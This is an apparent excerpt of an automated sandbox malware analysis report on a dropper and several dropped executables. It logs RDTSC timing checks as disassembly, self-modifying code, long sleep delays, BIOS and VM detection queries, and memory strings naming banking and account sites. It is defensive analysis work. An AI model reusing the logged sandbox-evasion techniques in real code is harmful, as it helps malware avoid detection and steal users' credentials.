Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830611 second address: 483068A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 69807EE2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d jmp 00007F020CB267F6h 0x00000012 mov dword ptr [esp], ebp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F020CB267EEh 0x0000001c jmp 00007F020CB267F5h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F020CB267F0h 0x00000028 or cx, 8F08h 0x0000002d jmp 00007F020CB267EBh 0x00000032 popfd 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push edx 0x0000003a pop esi 0x0000003b pushad 0x0000003c popad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483068A second address: 4830690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830690 second address: 48306A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48306A0 second address: 48306A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48306A4 second address: 48306AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48306AA second address: 4830747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 32823168h 0x0000000e jmp 00007F020CB28456h 0x00000013 add dword ptr [esp], 44BF8EB0h 0x0000001a jmp 00007F020CB28450h 0x0000001f push 66DE61B5h 0x00000024 pushad 0x00000025 mov ax, dx 0x00000028 pushfd 0x00000029 jmp 00007F020CB28453h 0x0000002e add ah, 0000006Eh 0x00000031 jmp 00007F020CB28459h 0x00000036 popfd 0x00000037 popad 0x00000038 add dword ptr [esp], 105A4C4Bh 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 pushfd 0x00000043 jmp 00007F020CB2844Ah 0x00000048 sub esi, 31EF9AE8h 0x0000004e jmp 00007F020CB2844Bh 0x00000053 popfd 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830747 second address: 4830764 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, esi 0x00000008 popad 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F020CB267EAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830764 second address: 483076A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483076A second address: 48307BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 pushfd 0x00000007 jmp 00007F020CB267F9h 0x0000000c adc esi, 6BE2F266h 0x00000012 jmp 00007F020CB267F1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b nop 0x0000001c jmp 00007F020CB267EEh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48307BA second address: 48307DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F020CB2844Ah 0x0000000a xor ecx, 542EDD38h 0x00000010 jmp 00007F020CB2844Bh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48307DC second address: 48307E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48307E2 second address: 48307E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48307E6 second address: 48307FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ch, CBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48307FD second address: 48308A1 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a popad 0x0000000b sub esp, 1Ch 0x0000000e pushad 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007F020CB2844Ah 0x00000016 sub ax, 81F8h 0x0000001b jmp 00007F020CB2844Bh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 mov cx, dx 0x00000025 popad 0x00000026 push edx 0x00000027 jmp 00007F020CB28450h 0x0000002c mov dword ptr [esp], ebx 0x0000002f jmp 00007F020CB28450h 0x00000034 xchg eax, esi 0x00000035 pushad 0x00000036 jmp 00007F020CB2844Eh 0x0000003b pushfd 0x0000003c jmp 00007F020CB28452h 0x00000041 sub ecx, 537B6DE8h 0x00000047 jmp 00007F020CB2844Bh 0x0000004c popfd 0x0000004d popad 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 call 00007F020CB28452h 0x00000057 pop eax 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48308A1 second address: 48308A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48308A6 second address: 48308F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB2844Ch 0x00000008 pushfd 0x00000009 jmp 00007F020CB28452h 0x0000000e add esi, 7CC542A8h 0x00000014 jmp 00007F020CB2844Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F020CB28455h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48308F5 second address: 483096F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b push esi 0x0000000c pushfd 0x0000000d jmp 00007F020CB267F3h 0x00000012 jmp 00007F020CB267F3h 0x00000017 popfd 0x00000018 pop esi 0x00000019 mov cx, bx 0x0000001c popad 0x0000001d push eax 0x0000001e jmp 00007F020CB267F2h 0x00000023 xchg eax, edi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov ax, dx 0x0000002a call 00007F020CB267F9h 0x0000002f pop eax 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483096F second address: 4830975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830975 second address: 48309DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [7743B370h] 0x0000000d jmp 00007F020CB267F4h 0x00000012 xor dword ptr [ebp-08h], eax 0x00000015 jmp 00007F020CB267F0h 0x0000001a xor eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov eax, 36529139h 0x00000024 pushfd 0x00000025 jmp 00007F020CB267F6h 0x0000002a sub ecx, 0DC15348h 0x00000030 jmp 00007F020CB267EBh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830B87 second address: 4830B8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830B8D second address: 4830B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48301AE second address: 4830213 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ah 0x00000005 mov ebx, 30FA45E4h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F020CB28454h 0x00000018 xor ecx, 22867898h 0x0000001e jmp 00007F020CB2844Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F020CB28458h 0x0000002a and eax, 7EAA22F8h 0x00000030 jmp 00007F020CB2844Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830213 second address: 4830219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830219 second address: 483021D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483021D second address: 483022C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483022C second address: 4830230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830230 second address: 4830234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830234 second address: 483023A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DA648E second address: DA64A5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F020CB267F2h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DA64A5 second address: DA64AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DA64AB second address: DA64B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DBD4DC second address: DBD4E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DBD7F7 second address: DBD7FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DBD7FE second address: DBD809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DBD809 second address: DBD80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DC14BC second address: DC14C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DC14C0 second address: DC14E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jnc 00007F020CB267E9h 0x00000010 or cl, FFFFFFF5h 0x00000013 push 00000000h 0x00000015 movzx esi, si 0x00000018 call 00007F020CB267E9h 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DC14E7 second address: DC14FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F020CB28446h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F020CB28446h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DC14FF second address: DC154A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jns 00007F020CB267EEh 0x00000014 jbe 00007F020CB267E8h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F020CB267F9h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DC154A second address: DC1561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB28453h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: DC1683 second address: DC1687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FAEA24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11E161A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C3EA24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E7161A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Special instruction interceptor: First address: 825AB2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Special instruction interceptor: First address: 9C855A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Special instruction interceptor: First address: 8230C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Special instruction interceptor: First address: 9D755D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Special instruction interceptor: First address: A51F04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Special instruction interceptor: First address: CA8C12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Special instruction interceptor: First address: E45550 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Special instruction interceptor: First address: E43C7A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Special instruction interceptor: First address: ED4AAC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Special instruction interceptor: First address: CCFA9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Special instruction interceptor: First address: E779B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Special instruction interceptor: First address: EA1D07 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Special instruction interceptor: First address: F0E8E4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Special instruction interceptor: First address: 6DBC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Special instruction interceptor: First address: 6DCB5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Special instruction interceptor: First address: 21C466 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Special instruction interceptor: First address: 630DBC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Special instruction interceptor: First address: 630DCB5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Special instruction interceptor: First address: 64BC466 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Memory allocated: 5110000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Memory allocated: 52A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Memory allocated: 72A0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04880C3A rdtsc

0_2_04880C3A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe

Evaded block: after key decision

Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe

API coverage: 9.4 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6392	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6392	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4828	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4828	Thread sleep time: -94047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2328	Thread sleep count: 299 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2328	Thread sleep time: -8970000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6460	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6460	Thread sleep time: -90045s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 988	Thread sleep count: 103 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 988	Thread sleep time: -206103s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4372	Thread sleep count: 107 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4372	Thread sleep time: -214107s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6516	Thread sleep count: 94 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6516	Thread sleep time: -188094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1812	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2328	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe TID: 2056	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe TID: 3220	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 6084	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 2848	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 7044	Thread sleep count: 186 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 7044	Thread sleep count: 174 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 6012	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 5700	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe TID: 6656	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe TID: 6644	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe TID: 7148	Thread sleep time: -150000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00240868 FindFirstFileExW,	8_2_00240868
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_00240919 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_00240919
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00240868 FindFirstFileExW,	10_2_00240868
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_00240919 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_00240919
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_004176E7 FindFirstFileExW,	12_2_004176E7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_10007EA9 FindFirstFileExW,	12_2_10007EA9
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B5794E FindFirstFileExW,	12_2_04B5794E

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmp, f30149f036.exe, f30149f036.exe, 0000000C.00000002.3458889721.00000000009A9000.00000040.00000001.01000000.0000000B.sdmp, f570600774.exe, 0000000E.00000002.3180488584.0000000000E56000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(YM
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
